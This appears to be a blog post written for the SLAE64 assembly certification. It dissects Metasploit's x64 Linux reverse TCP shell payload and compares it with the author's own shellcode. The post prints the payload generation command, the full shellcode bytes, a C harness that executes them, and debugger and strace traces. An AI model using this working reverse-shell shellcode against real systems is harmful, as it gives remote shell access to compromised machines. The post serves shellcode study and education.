Even though I was sad to see it contained null-byutes, I thought there might be something to learn from Metasploit's version.
root@kali:~/# msfpayload linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 C
* linux/x64/shell_reverse_tcp - 74 bytes
* linux/x64/shell_reverse_tcp - 74 bytes
I threw this into a C file.
unsigned char sc[] = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48" "\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10" "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; main(void) { (*(void(*)()) sc)(); }
I compiled it: gcc -m64 -z execstack msfreverse.c
I then started up: gdb ./a.out
0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>: callq *%rdx
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>: callq *%rdx
Again as I saw in the bind shell version, I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13. Here again is a high level look at what they did to accomplish this:
push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi syscall
Next we come across an area with null-bytes. Since I used 127.0.0.1 for the address, there are null-bytes. I got around this in my own shellcode by subtracting a mask, and adding it back when the shellcode is run.
One thing they did that was able to shrink the code considerably is enter all of the struct sockaddr in a single mov instruction.
0x000000000060088e in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088e <sc+14>: movabs $0x100007f5c110002,%rcx
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088e <sc+14>: movabs $0x100007f5c110002,%rcx
It looks like they actually end up with some pollution in their stack when the syscall is made.
(gdb) x/4xw $rsi
0x7fffffffe330: 0x5c110002 0x0100007f 0x004004bc 0x00000000
0x7fffffffe330: 0x5c110002 0x0100007f 0x004004bc 0x00000000
We can compare this to my version, which cleans the stack first.
(gdb) x/4xw $rsi
0x7fffffffe328: 0x5c110002 0x0100007f 0x00000000 0x00000000
0x7fffffffe328: 0x5c110002 0x0100007f 0x00000000 0x00000000
I ran both programs through strace, and got identical syscalls.
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
So I consulted the man page. It would appear these are optional bytes, and there may be a way to shrink my own shellcode at this point. I think I would be able to save 1 byte by not pushing and clearing this out.
The rest of the code is pretty standard for a reverse shell. There's another null-byte when the "/bin/sh" string is put on the stack.
So just by looking at Metasploit's code I found at least two places I can further shrink my own code.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE64 - 1360
No comments :
Post a Comment